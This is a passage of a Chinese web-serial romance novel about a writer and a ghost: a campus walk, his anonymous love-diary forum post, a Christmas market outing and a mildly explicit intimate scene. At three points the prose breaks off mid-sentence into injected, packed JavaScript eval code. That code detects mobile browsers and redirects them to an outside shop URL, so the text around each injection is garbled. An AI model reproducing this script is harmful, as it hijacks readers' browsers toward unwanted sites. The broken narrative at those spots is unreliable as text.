“东宜大学。”刚好走到公交车站,喻声停下脚步,看向站台的牌子,“带你去我的回忆里看看。” 只是处在当下,又谈论过未来,没有他参与过去突然觉得有点可惜。 仅此而已。 36. 101岁 “谢谢奶奶。” 喻声笑眯眯地从店主手里接过热腾腾的烤红薯。 那家有她最喜欢的奶油面包的店已经关门了,幸好烤红薯的小推车还在,每个冬日,就属它的焦糖气味飘最远。 非在读生可以刷身份证核验进校,从西北门一路走到西区操场,喻声双手捧着烤红薯时不时咬一口,感叹虽然已经很久没吃过,但依旧甜甜糯糯,是胃和心不太满、却又同时觉得很踏实的味道。 江时手插兜,偏身避让着在夜跑快要穿过他的学生,笑道:“有这么好吃吗?” “东大学生严选。”喻声故意用手扇了扇红薯,企图让香味跑到江时那边,“你吃不到真是有点可惜。” 江时弯腰假装凑近闻,实则偷偷屈起手指蹭了一把她的脸颊肉,明明满意又故作叹气:“馋我是吧?好狠心。” “谁让你又不能在外面吃饭,又不想回家的。”逛完一圈操场后喻声拉着他朝教学楼方向走,“去教学楼看看吧,那里才是我最常待的地方。” “你不常来这里吗?” “嗯,很少来。”喻声走在里侧,踩着落叶往前,笑着说道,“过来运动的人有点多,不太喜欢。” “不太喜欢操场,图书馆也很少去,教学楼要是有空教室就可以在里面待一整天,最常坐的是每间教室后排最靠里的位置,桌子上摊开专业课本,实际上大半时间都用来码字。最常去的教学楼是三教,离宿舍和食堂都近。宿舍的走廊很长,每次总觉得走到尽头就会追到日落;食堂的椰子鸡很好吃,那个档口的叔叔会从窗口探出头,问我能不能吃饱,不够再来添。学校太大了,光靠走路一个晚上逛不完,先带你去我常去的地方,如果喜欢的话,我们可以下次再来。” 江时的外套脱下来松松搭在手臂上,跟在喻声身后迈上三教的台阶,喻声边说话边扭过头看他时,身后台阶延伸入黑夜变得窄且朦胧,他抬着头,额前碎发垂落,眼里酝酿的笑意在对视一瞬间漾开。 “笑什么呢。”喻声问。 江时摇摇头,一下跨过三个台阶到她身边,笑意未减道:“觉得你很可爱。” 喻声迟疑,试图理清他的脑回路但未果,拐进四楼走廊把手中的烤红薯袋子扔进垃圾桶里后还是忍不住发问:“……可爱?” “就是觉得,这么事无巨细描述你的世界给我听的样子,很可爱。” 就是发现。 他很喜欢喻声。 他好像要比想象中的,更喜欢喻声。 这样的声音,总在他心底太过嘹亮,直到此刻也是如此。 喻声搓搓耳朵,嘟囔了一句“什么啊”,江时像是没听清,笑着越过她转身倒退走,歪头询问她说了什么。 喻声打岔过去,伸手挎进他的臂弯里拉着他从后门溜进了402教室,摸上墙开灯。 喻声下意识闭眼,反应过来又睁开。 数不清的回忆分明离远变淡,却在灯亮一瞬间滚滚涌至眼前,在教室里敲下的每个字仿佛都变得浓墨重彩。 灯总要开的。 与其说是带江时来看看,不如说是自己想好好跟过去告个别。 江时脑海里还辗转着喻声说的那些,手指一伸指向里面:“是那个位置吗?” 喻声望过去点点头:“对,那个位置视野很好。” 江时走过去,撑着桌沿看向窗外,片刻后回头看向还站在教室后边拍照留念的喻声,又问:“对面楼就是那篇帖子里闹鬼的那栋吗?” 喻声一顿,收了手机也往窗边走。 她仰头看,对面的实验楼还有几扇窗户亮着微光,倒是没有了女人的哭声。 “对。”喻声好一会儿才说,“你能感受得到她吗?” “可以,她还在楼里。”江时让出一大半的桌沿给喻声靠着,说道,“她很悲伤,也没想过害人,帖子里的那些所谓的‘受害者’要不就是自己吓自己,要不就是真的做了什么冒犯她的事,否则她不会出手。” 喻声靠过去,脚往里收,不小心踢到桌脚,发出点声响,很轻、很短,她下意识往外挪步,又和江时撞到一起去,干脆就定在那里了。 “那看来,鬼要比人更纯粹。” 喻声说。 江时低头看她。 喻声继续说道:“人心很复杂,人做的每一件事都不一定能单纯用好事或者坏事来概括,后续的发展好坏也无法控制。但鬼好像可以,你们隔着两栋楼的距离,就算没有过交际,也能知道彼此的心境。” 江时轻笑,他低下头,脸上的表情看不真切:“可是人有选择,可以选择做与不做,鬼没有。很多死了之后还逗留在人间的,大概活着的时候也没能做选择。” “至少在我这里,你可以做选择。”喻声直起身,面对他,“比如现在,你可以选择需不需要一个拥抱。” 江时抬头。 东大很漂亮,即使在冬天,两侧的银杏树仍茂盛,平铺了一整条路的金黄,天与地之间,路灯星星点点,照亮了一组组灯杆道旗,五颜六色被风一吹,在黑夜里沉沉浮浮,远处钟楼伫立,肃穆的红色与白色交织。 但江时却无心赏景。 他任凭周遭的一切变成灰色,任凭所有的鲜亮都汇聚在面前的人身上,面前的人,是他喜欢的人,她的眼睛很弯、很亮,她的头发散着,发丝镀了一层模糊的光晕,她说的话变成了从江家怀书房里拿走的那颗棋子,带着他回到了他的十五岁,还在江公馆的时候。 那时,他以为他真的有选择。 他的十五岁是位于湖心的一条小舟,进也好,退也好,湖是圆的,四面八方都有岸,况且他已经觅得一条最短的半径可以走,假以时日,他想再看整个湖的景色将不需要环顾四周,只是回头就能尽收眼底。 可他全然忘记,这条半径挤满了人,姓江的、不姓江的,他是其中唯一没得选择的,他用了五年、直至死亡才明白这个道理,于是他的二十岁彻底沉湖,流泪的时候,恰逢湖水荡漾。 但那是十五岁。 江时想。 他要最后、最后再看十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到家后,江时盘腿坐沙发上悠然自得地解决烤红薯,喻声先去洗漱,刷着牙,看着镜子里的自己时,不自觉想起在教室里谈论的那个实验楼女鬼。 她自己被人误解的时候,何尝不是也在误解别人。 即使这个“别人”只是鬼魂。 喻声把口中的泡沫吐掉,漱了漱口后摸过手机,心血来潮滑动界面,在角落里找到了那个发帖软件。 过了这么多天账号还没被退掉,正好不用再去找江时了。 喻声靠在墙上,点进个人中心,刚想轻车熟路地进入“我的回帖”,手指却在虚空中顿住。 “我的回帖”旁边,是“我的发帖”。 而上面明晃晃写着的“1”,她上次打开这个软件还没有看到。 喻声犹豫了好几秒后,手指偏移,点了进去。 37. 101岁 发帖时间是在送饼干的那天,喻声看了一眼准确的时间点,正好是舒云繁来找她喝酒,差不多要喝醉的时候。 帖子的热度很高,标题的名字叫作「我遇见她的二十三岁」。 十一月二十五日。 「她是一个很特别的人。 明明很稳重,脑子转得很快,第一次见我的时候权衡利弊我对她能有什么帮助后才把我留下,我告诉自己一定要多警惕她,相处久了才知道不需要,她也有很幼稚的一面。 她不爱运动,到冬天就更经常窝在电脑前一动不动了,她怕我说教,把我推出房间,我坐在房间门口给她发消息,问她真不出来吗,我将会把昨天晚上没看完的电影看完,再在今晚吃饭的时候,把结局剧透给她。 她很生气,说以后写的文都锁起来不给我看了。 其实我真的有很多不懂的,比如那个什么emoji我也是第一次听,她比我厉害得多,我要向她学习的也很多。 我给她发了两个emoji,她问我这是什么意思。 我说有看到这么多水吗,是我在流泪的意思,虽然我事后才知道那个emoji代表的是淋浴。 过了大半天,她才发来两个emoji,这个我见过,是水龙头的emoji。 我反问她是什么意思。 她慢吞吞回,是把你的眼泪接住的意思。 好吧。 谁说幼稚不需要警惕的? 她再多做点我就必输无疑。 心血来潮想发这个帖子,是我坐在沙发上,她喝完最后一口酒,摇头晃脑要往沙发上靠,我眼疾手快把她接住,再送回房间,我走得很慢,一路上她安安静静,我小声问她明天早上想吃什么,她在躺进被子里后闭着眼睛说,你给我准备吗,不能骗我,我要吃热腾腾的面,铺满鸡蛋丝的那种。 我说好,我记录下来,不骗你。 怕她醉了后会出事,我和那天一样,一直坐在门口,直至凌晨确保她熟睡了才走。 我就这么突然地觉得,错过她的二十三岁生日好遗憾,但我和她的二十三岁相处时间还有整整七个月,好幸福。 我的感觉一向很准。 这是喜欢。 原来我比谁都要更清楚。」 十一月二十六日。 「很喜欢听她喊我的名字。 如果她察觉我情绪不对的话,她就会多喊几遍我的名字,像在反复确认我的心情。 多确认几遍吧。 这个时候我会这么想。 为什么明明对过去执着,对世间一切事物淡漠,但突然有了向前走的理由,为什么她明明一如既往,笑眯眯地站在那里看向我,我却突然眼前一片迷雾,什么都看不清楚。 我明明知道为什么,却还是想问。 我站在和她第一次自我介绍时相同的地方,渐渐明白,我所求的不多,也最多。」 十一月二十七日。 「又一起散步。 她散步爱听歌,什么都听,却不让我听,两个耳机都塞进自己的耳朵里。 我姑且能明白她的社恐,还有另外的不能发在这里的理由怕吓到大家,但总之我理解但还是提了要求,让她把声音开大点,我耳朵很灵,靠那一点漏音就可以听见。 她给我科普了一下耳机开太大声会导致耳聋的,以后就听不见我说话了。 我煞有其事地说那可不行,我还有很多话要说。 她问:想说什么? 我说:现在我在享受散步,不说。 她沉默了一会儿然后说:那我享受音乐,不听你说。 说完她转头往前走,我落后两步,还是听到了音乐。 这首红豆,我曾和她一起,在书店里听过: “可能从此以后, 学会珍惜, 天长和地久。” 如果有天长和地久,我一定珍惜。 还有,她说得对,大家戴耳机也别开太大声。 她晚上的耳朵有点痛。」 十一月二十八日。 「今天是感恩节,她太忙了,有好多文要写,她坐在电脑前,我坐在她后面的沙发上,也想写点什么。 她初见时对我的评价就是会搞恶作剧的大少爷,我承认一开始我的脾气确实不算好,不达目的不罢休,但相处后我已经收敛不少,至少不会把目的表达得那么明显。 比如我们邻居的哥哥经常以他妹妹为诱饵找她吃饭。 得知她想去,我会在明里暗里的话后加一句:我没有挑拨离间的意思。 她一般会回以沉默,次数多了她会说:我知道你在挑拨离间了。 然后出门。 我就知道目的表达得不明显行不通! 等最近的一次我提前先说:我要开始挑拨离间了,你要不要听? 她说好,要听,笑弯了眼。 她笑起来很漂亮,虽然这是题外话,但还是要提一下。 最后她没去赴约,虽然理由是她忙不过来了,实在没时间出门,但我还是感谢她包容我的无理取闹和莫名其妙的嫉妒心。 祝她感恩节快乐。 一直都很想告诉她我很感谢她,可惜她在忙,就在这里说吧。」 十一月二十九日。 「她看的电影类型很杂,悬疑的也看,爱情的也看,但惟独看不了鬼片。 我说那你回房间工作,我自己看。 最后选了一部片名直抒胸臆的,叫《鬼在这里》,刚看没五分钟,她从房间出来,抱着沙发上比她人还大的抱枕,佯装镇定说她来找点写作资料。 我问她不是害怕吗? 她说她不害怕,是怕我会害怕。 我怎么可能怕!我可是—— 算了。 怕一会儿也行。 我喜欢看到她不像平时的她的时候,她大概也喜欢我不像平时的我的时候。」 十一月三十日。 「喜欢她的感觉吗? 我想想。 有点像坐在窗边,有一只飞鸟飞过,看着它飞,不会担心它坠落。 而从前看向窗外,我只能注意到半空中的叶子。」 十二月一日。 「很喜欢下午四点。 这个时间太阳不会太烈,暖洋洋地透过纱帘照进房间,她在工作,手指踩着键盘噼里啪啦地跳舞,我一抬眼,能看到阳光,能看到她。 很喜欢下午五点。 冬天吃饭会早一点,这个时间我们会开始准备晚餐。 今天吃蘑菇豆腐汤、鸡蛋卷和番茄咖喱乌冬面,她说是过冬取暖套餐,不知道真的假的,不过我吃得很开心。 也很喜欢下午六点,会绕很大一圈,散步到七点半。 怎么这么快天就黑了。 一天是二十四个小时吗? 那我一天要爱二十五个小时。」 十二月二日。 「迟到的十二月快乐。 以前我不会说这种话,现在要多说一点才行。」 十二月三日。 「她要陪我做饼干了。」 十二月三日。 「我有很多想说给她听的话。」 十一月二十五日。 匿名用户:「怎么还没有在一起?」 十二月三日,回复。 「在一起了! 我以后可以有无数个名正言顺的拥抱,可以有天长和地久了。 红豆神,我一定珍惜。 另: 你是最早问出这个问题的,一直收藏你的回复,今天终于用上了,谢谢。」 十二月四日。 「买了很像她的向日葵,我开始努力思考到底在我这里什么东西最像她。 我自顾自地用了很多东西当形容词:树木、青苔、向日葵,更直白的还有安静、美丽、轻盈、自由、辽阔、有勇气。 被她一语点破我才明白:我只是希望这个世界上能所有东西都像她。 就跟我表白时说的那样,如果所有东西都像她,那我真的会爱上这个世界。 我总在许愿。」 十二月五日。 「她说她喜欢海,这是她最初在地图上选择东宜的理由。 我们没有一起去看过海,于是约定好了一起去。 今天看纪录片,她说很想去冰岛的胡萨维克,坐船出海追鲸鱼。 她定义为浪漫,我定义为幸福。 那就一起去吧。 女朋友。 东宜的海太小,我们一起去更辽阔的世界看看。」 十二月六日。 「哪有人刚谈几天恋爱就嫌我烦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16940639|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她看电影,我只是也想跟着看而已。 她写文,我只是也突然想回房间躺躺休息一会儿而已。 她去遛狗,我只是也突然有点想见小狗而已。 她去煮晚餐,恰好准备工作一直都是我来的而已。 她去上厕所,回头对我怒目而视。 好吧我确实有点烦。 我承认。」 十二月七日。 「东宜下雨了,天气好冷,吃火锅的好日子。 她准备了很多食材,往煮开的锅里面丢东西的时候咕嘟咕嘟啪嗒啪嗒的,我突然觉得和外面下雨的声音很像,就把这个小发现告诉她。 她撑着脸,想了想,说怪不得下雨天这么好睡,怎么睡都睡不醒,原来梦里都是火锅。 怎么这么可爱? 这么可爱是谁的女朋友?」 十二月八日。 「她跟她奶奶打视频电话,暂时分开五分钟。」 十二月八日。 「10分钟。」 十二月八日。 「一小时。」 十二月八日。 「一天有二十四小时,12月8日只剩二十二小时。」 十二月九日。 「去了游乐园,坐了过山车和海盗船,我感觉我的嗓子不太好,怪不得她不上来。 旋转木马和他俩处在一个空间里真是离经叛道。」 十二月十日。 「她其实是个很热爱世界的人。 她带我去了东宜的很多地方,在她的眼里很多东西都很重要,雨后地上的水坑里有整个城市的缩影,桥的扶手上的面包屑曾被某只蚂蚁发现,树叶掉落盖在花朵上为其遮阳是本能,月亮又会藏在哪两片树叶的缝隙里,我们只是买了点面包坐在公园的草丛上,她觉得正在进行一场小型的冬游。 对着我捏出来的奇丑无比的陶瓷杯,都能把我夸成专业师傅。 喜欢上她是一件理所当然的事情。 我的心也在冬游,没有归途。」 十二月十一日。 「我出门工作,会有拥抱。 我回家时,有人说想我。 我会带花,花语赠给我喜欢的人。」 十二月十二日,刚刚。 「我问她,会不会一直喜欢我,会不会一直像现在一样喜欢我。 她反问我,是不是对她没有信心。 怎么可能? 我只是很喜欢听她说。 听她说,我们有着相同的心情,然后我的脑海中就会浮现那两个水龙头的emoji。 相爱深爱最爱只爱,我对她,是可以同时发生的事情。」 最后一条回复上刚刚的标识变成10分钟前,喻声没想过要哭,脸颊却开始迟钝地泛湿。 打开帖子只是偶然,她不知道的事情有太多,她不知道有人许愿是为她,有人流泪也是为她,她以为天不下雨,但不知道有人雨伞偏斜,是为她。 卫生间的门被轻轻敲,喻声回神,胡乱擦去眼泪,照了一下镜子才开门。 江时手托着一杯牛奶站门口,笑道:“怎么这么久?看你晚上没怎么吃东西,给你热了杯牛奶,我怕凉了,先拿进来给你喝。” 随后他一顿,看着喻声还未褪下的外衣,明显还没开始洗漱的样子。 “我看了点东西,一会儿就去洗澡。”喻声接过,努力忽略持续泛酸的鼻子,喝了一口后牵动嘴角往上,“怎么这么了解我?本来打算洗漱完出去热一杯的。” 说完话后,她的眼睛一眨不眨看着他。 “以为你在洗漱,不好来问你。但我把你写过的文翻来覆去看了好多遍,如果是你写过的,应该就是你喜欢的吧?”江时说,“现在我更记住了,如果晚上没怎么吃的话就要热一杯牛奶。” 喻声没有迟疑,郑重其事地。 “很喜欢。” 会一直喜欢,会一直像现在一样喜欢。 他喜欢听,她就会说很多遍。 爱这件事,只要体验过,就会一直喜欢,不想放弃。 她也看到那只不会坠落的飞鸟,每分每秒,在她的生命里扇动翅膀。 上次心跳这么快是什么时候,喻声已经不太记得。 但她想,如果以后心跳这么快都是因为江时就好了。 38. 101岁 围炉煮茶器上煮着玫瑰红茶,旁边烤着柿子、橘子和板栗,围成一圈,挤挤挨挨。 喻声往茶壶里倒桂花的手一抖,小朵桂花跳出罐口擦过壶身,落到紧挨着的柿子的花萼上,她被惊到剧烈咳嗽,想收回那句“心跳这么快都是因为江时”的话—— “最近怎么这么难约你出来?”她面前的舒云繁还浑然不觉,仍在抱怨,“要不是知道你每天在家量产文章,我差点以为你谈恋爱了呢。” 喻声:“……” 心跳好快咋办。 和鬼谈恋爱太惊世骇俗了,还不知道怎么向舒云繁提起和解释,喻声索性先打哈哈,放下桂花罐后伸手掰了一半柿子递给舒云繁:“我错了。临近圣诞节约稿确实多,不过我都快处理好了,这不马上就来陪你喝茶了?” 舒云繁接过柿子,吃得摇头晃脑,想了想后问道:“那你是不是圣诞节空出来了?要不我们一起过吧。” 喻声正吃着剩下一半柿子,闻言点点头回答:“可以,你挑地方。” “去哪里好呢?”板栗太烫,舒云繁在手心里抛了抛,“海洋馆怎么样?听说市中心那家在搞活动。” 刚去过。 喻声:“……还有别的选择吗?” 板栗继续往上抛,这次舒云繁没成功接住,它咕噜咕噜滚,被喻声重叠放在桌上的手臂拦住。 舒云繁托腮,手指敲着脸,目不转睛地看着在替她剥板栗的喻声:“那游乐场呢?工作后我就没去过了,前几天在朋友圈刷到摩天轮,就想着什么时候去一次。” ……也刚去过。 喻声闭了闭眼,手没停,试探性问舒云繁:“还有别的地方可以选吗?” 舒云繁沉吟:“那体验一下陶艺——” “——等一下!”喻声双手交出板栗,决定在听到下一个刚去过的地方前先发制人,“我记得,是不是有个圣诞集市刚开不久?你还转发了链接给我的,就在海边,我们认识这么久了还没一起看海呢。” “对诶!”舒云繁摸起桌子上的手机解锁找聊天记录,“我都没想起来,那就去那里好了。” “找到了。”她举起手机翻转至喻声面前,“看起来还不错。” 喻声看向图片。 圣诞礼品、食物摊位以及娱乐设施,缤纷的巨型圣诞树,MerryChristmas字样的星星灯带连接两侧熙熙攘攘的人群,提供合影服务的圣诞老人扛着鼓鼓的袜子摇铃铛,旋转木马是小孩子的天堂,音乐表演炸翻全场,浓郁的圣诞氛围,live图很真实,逐渐放大,跃至眼前,耳边出现了若隐若现的音乐和海浪声。 天气太冷,喻声把围巾裹紧了些,肩膀突然被轻拍,她转身,是去买了热红酒的舒云繁。 喻声弯了弯眼:“回来啦。” 这次出来玩的只有她和舒云繁,本来还约了舒云霁,但他刚好医院要值班来不了,虽说舒云繁看不到,但说好了是她们俩单独约会,喻声也不会让江时跟着来。 她下午出门时,和江时说了晚上晚一点再回来,刚把家门关上,手机叮铃一声响。 江时:「晚上好。」 然后又发回以前那个表情包。 江时:「Koonyangi猫猫星星眼.jpg」 喻声:“……” 她木着脸,啪嗒一声将手机锁屏。 舒云繁左手递了一杯红酒给喻声,右手捂紧另一杯取暖,止不住倒吸冷气:“快喝点暖和暖和吧,今天实在是太冷了。” 喻声左手生煎包右手烤鱿鱼,眼神为难地在三样食物中间打转。 舒云繁张大嘴,示意喻声。 喻声了然,举起烤鱿鱼横着塞进舒云繁嘴里,空出一只手后赶紧接过热红酒。 两人同时松了口气,再对视,噗呲笑出声来。 舒云繁手捏着竹签,牙齿用力扯下鱿鱼尾巴,使劲嚼嚼,说话声音含糊不清:“一进集市就忘乎所以了,看到什么都想买,看到什么都想吃。” 喻声往前走,点点头表示同意。 原本这一趟是直奔着在沙滩上看海看音乐表演来的,结果一进集市就乱花渐欲迷人眼,跟西天取经要经历八十一关一样,二三十分钟的路程卡了八十一次硬生生走了快一小时还没到。 于是喻声喝着热红酒,舒云繁啃着烤鱿鱼,立了从这里到海边要目不斜视步履不停的flag—— ——不过flag就是要用来打破的。 喻声第八十二次停下脚步。 舒云繁:“……嗯?” 喻声用手肘推着她右拐靠近一个卖毛绒挂饰的小摊位。 舒云繁痛心疾首:“你忘记我们的flag了吗!” 喻声面不改色:“先看看嘛,挑一只可爱的,我送给你。” 舒云繁满意了,也不用喻声手肘推了,自动就往摊位走。 彩色灯带闪耀着小兔小猫小熊们,喻声放下热红酒,取了角落没被照到的小狗挂饰在手心里翻来覆去把玩。 白色小狗,耳朵垂下来,眼睛闭成一条缝,嘴往一边翘着,在脸颊上挤出一条细细小小的弧度,小狗手里还握着一株嫩绿的四叶草,全身上下哪里都是毛茸茸的。 很像他。 喻声想。 旁边的摊主在兴致勃勃介绍着:“可以挑一挑,这些都是自己设计手工缝制出来的,每一个小动物都长得不一样,全世界独一无二的。” ——全世界独一无二的。 喻声心下微动。 舒云繁听着介绍,最后挑中了一只憨态可掬、捧着比身子还大的花生的仓鼠,挑完后,她凑到喻声身边:“看来你是真爱豆乳。” 喻声微抬眼:“怎么说?” “你手里这只小狗啊。”舒云繁挑了挑眉说,“不是妥妥100%复刻豆乳的吗?” 喻声笑出声来,倒是没反驳,反而点点头。 最后带着仓鼠、小狗和早已凉掉的红酒来到了海边,音乐声和海浪声不再若隐若现,吉他流淌出来的IfDecemberNeverEnds是十二月特供,好心情是朋友和大海的共同馈赠。 只此一晚,她收获已经太多。 喻声想起了江时在帖子里说的那句「她其实是个很热爱世界的人」。 其实好像不太准确。 她只是会常觉遗憾。 只是会惶恐在她还能继续看世界的时间里没多到处看看,会惶恐今天过去,明天又是否能如约抵达。 望着海浪翻涌,从远至近,舒云繁主动提起青蛙。 “他回临山了。”舒云繁说,“离开东宜前,他跟我道了歉。” “你原谅他了吗?”喻声问。 舒云繁摇摇头,喝了一口红酒:“他做的事情就不值得我原谅,但道歉是我应得的。” “之前给他做的东宜游玩计划,就包括过来看海。”地上有个小贝壳,舒云繁头低低,鞋尖铲沙子往贝壳上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16947318|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泼,“做了计划无处实施,有点可惜。有时候我会想,什么时候才能遇到那个命中注定的人呢?我好像一直都缺点运气。” “比起运气,勇气更重要。”喻声挽着她,“你不缺勇气,已经是一件很幸运的事了。” 舒云繁吸了吸鼻子,挽喻声挽得更紧。 她说:“你果然知道怎么样才能安慰我。” 喻声失笑:“不是安慰啊,是事实,你在我心里就是最最勇敢的人。” “嗯。”舒云繁也跟着笑,“你就是我凭勇气拥有的朋友。” 喻声举起红酒要和她干杯,强调了三遍真的:“这个真的真的真的是事实。” 喻声想了想,又补充了一句:“非常谢谢你的勇气发现了我。” “我要为我的勇气买单了!”舒云繁脚踩贝壳高呼,“想吃什么!我请客!” “我们不是刚吃了一路过来的吗!” “不管那些了!今天放开了吃!” “那我还要吃烤鱿鱼。” “买!吃两根!” “烤香肠!” “买!吃三根!” “烤棉花糖!” “……买!但是你能不能挑点不是烤的啊。” 喻声沉吟:“那披萨?” “披萨也是烤的吧?但你想吃就买!” “草莓蛋糕!” “买!我记得好像卖毛绒挂饰旁边就有一家……” “……” 台上的音乐已经换了好几首,在当下变成了Weekend。 哼了一路的Don''twannadon''twannathinkabout,喊了一路食物的名字,最后其实眼大肚皮小,只吃了蛋糕就再也吃不下其他东西了,出集市时太冷,思索再三一人捂着两杯热红酒摇摇晃晃回家。 舒云繁正努力往钥匙孔里怼钥匙的时候对面的喻声已经不太清醒地开始立正敲门了。 她边敲还边喊:“我回来啦!给我开开门。” 舒云繁放弃怼钥匙转身,大喊:“哪来的人给你开——” “门”字还没出,她就惊恐地看到对面的门开了,喻声走进去,不忘扭头跟她说再见,然后门就在她说完再见之后自动关上了。 舒云繁:“……” 她机械转身,一边继续插钥匙一边喃喃自语:“我一定是喝醉了,我一定是喝醉了……” 好不容易钥匙插进去扭开门了,舒云繁一踏进室内就开始各个犄角旮旯找豆乳:“豆乳啊!妈妈跟你说……” - 喻声一进门就倒在了江时怀里,江时下意识手揽住后才低头看她,旋即抬头看了眼对面目瞪口呆的舒云繁,最后选择抬腿先把门踢上,动作迅速,带上来一阵风。 喻声只是头有点晕,但她坚信自己没喝醉,也坚信自己能站直,被风一吹,这种坚信更笃定。 她还握着两杯各喝了一半的红酒,被江时揽住后没手去推他,最后只好肩膀使劲,江时顺从地放开她的肩,手却往下滑,攥紧了她围巾下的穗穗,防止喻声站不住往后倒。 做完这一切,他像被按下了静音键,就这么笑着歪头,一动不动地把眼神黏在喻声身上。 半晌,音量键慢半拍滑动,到一格音量的大小。 江时开口,近乎呢喃。 他说:“好想你。” 她不坚信了。 喻声想。 她好像真的有点喝醉了。 39. 101岁 喻声努力站直,适时把两杯红酒都凑到他嘴边。 江时问:“给我带的?” “礼物。”喻声看着他,“你想我的礼物。” “对我这么好啊?” “嗯。” “那你能不能对我更好一点?” “我还能为你做点什么呢?” “比如。”江时轻轻摸摸她的头,笑出声来,“你不上香我怎么能喝得到啊!” 看着喻声狂点头后真的打算去香案边帮他上香,江时忙拦住她,扯着围巾把她像甩悠悠球一样给拽回来:“我开玩笑的,你先睡觉,我明天再喝好不好?” 那种声称自己没醉但实际上醉得不清的人最执拗:“明天就不是这个味道了。” 江时:“没关系。” “有关系的。”喻声举了半天的手也没放下来,“今晚是我也很想你的味道,放到明天的话,味道可能会消散。” 她围巾上的手渐渐松开。 喻声两杯酒一碰,一锤定音:“你在这里等我一下。” ——酒确实不太好喝,像大料汤。 就算如此,江时还是把两个半杯都喝完了,喝完后说:“好甜。” 喻声摸摸他的脸:“好烫。” 她一脸惊奇:“鬼对食物没有饱感,对酒居然有反应吗?” “虽然我代表不了所有的鬼,但——”江时笑,“嗯,现在感觉有点热。” 在不大的客厅里,热是第一共享感觉,关门时带进来的那一阵风已被稀释,空气在升温,那条细小的引线被点燃,等到鞭炮声响起后,喻声已经听不见其他的声音,只剩两句—— “老师,要不要检验一下我这段时间的学习成果?” 以及。 “我可以做吗?” 他给了她选择,她只要退一步,就有反悔的机会。 喻声闭眼。 但就和听到他表白那晚一样,她的选择只会是往前。 因为是江时。 她不会做和选择相违背的举动。 一切都很自然地发生了,喻声分不清是谁先贴上来的,也分不清是她先往前走一步,还是腰先被紧紧揽住,但这点支撑还远远不够,她只能仰头,抬手,在眼皮颤动中攀上江时的后颈。 她和浮木,要闭气潜水,要一起坠落。 江时的脸、他的手心和唇都是烫的,烫意先落在眉间眼角,一路往下游走、浅啄,试探地,又纠缠地,路过的每一处都泛起细细密密的痒,喻声的手往上伸,不安地埋进他的发丛里。 他的唇寻着她的唇共舞。 他们是彼此唯一的舞伴。 喻声的舌头刮过他的虎牙,被带着往中间寻,牙齿一颗、两颗、三颗,她艰难地想数清到底路过了多少颗,可天旋地转,她被换了个位置往下压一寸,背抵沙发,腰部被锁紧的感觉更甚。 她脑海中的种种被抽帧一般,她渐渐数不清,连去考虑牙齿和牙齿、舌头和舌头的距离都不能,感官如此混沌,不再清晰分明。 她比江时,要慢一步知道“我也很想你”在今晚的滋味,很甜,是不会消散的、直到明天也留存的味道。 喻声的手往下滑,被一排纽扣硌到,她在呜咽中睁眼,和最上一颗纽扣较上了劲,唇和唇短暂相离时,她很急地嘟囔:“这什么衣服啊,纽扣这么难拆。” 江时额头抵着她的,笑了起来,他的手终于舍得从腰处撤离,握住了她的手。 他说道:“衣服是你买给我的。” “……”她又小声嘟囔,“我要赚钱,我要买新的。” 情绪从难舍难分的交缠中抽离,江时又恢复最开始的小心翼翼,他轻啄她的脸颊,说了声好。 喻声趁机提要求:“那这件不要了好不好?” “不好。”江时又低头亲了亲她,“你喝醉了,我们回房间睡觉好不好?” “可我热。”喻声吸了吸鼻子,上半身被压着,她只能胡乱抬腿蹬了他一下,“你怎么可以拒绝我?是我不给你买新的衣服了吗?” 江时叹了口气,懒得和醉鬼计较。 他胡诌:“我只是太喜欢这一件。” “好吧。”喻声妥协,终于放开他的纽扣,“那你要一直喜欢才行。” “我会一直喜欢的。”江时抬手顺了顺她侧边的头发,眨着眼睛把话再说一遍,“我抱你回去睡觉。” 喻声点头,闭眼,呼吸终于渐渐平稳。 被揽腰抱起后的一切她都没有意识了,她的头靠着江时的肩,就这么沉沉睡去。 - 自从那天晚上亲过之后,江时像被打开了一个新开关,逮住喻声就开亲。 ——其实亲还好,主要是他还有更变本加厉的。 那天最后喻声并非完全没有意识,她能模糊地回想起来,她是怎么扯住江时不让他走,是怎么让他往床上躺,是怎么抱住他不肯撒手,是怎么安稳地在他怀里待到隔天早上起来又被亲了一通的。 她还来不及尴尬初吻,就已经习惯。 她还来不及尴尬自己酒后缠人的所作所为,她的床上就从此长出了一个新的固定陪睡物体。 于是那天来不及做的事,也顺便做了。 烙印是一下又一下的,小船在浪潮上摇晃,情到浓时都没打算放过彼此,眼泪顺着脸颊流下,被吻走。 喻声收获了纽扣,损失了买衣服的钱和那只毛绒小狗挂饰。 另一个收获颇丰的倒是很自觉,工作接得更多了,白天还发信息要喻声夸他又惩恶扬善了,说他很厉害,一口气打跑了十个恶鬼,在外面明明挺神气的,晚上回家就开始装累往喻声床上躺。 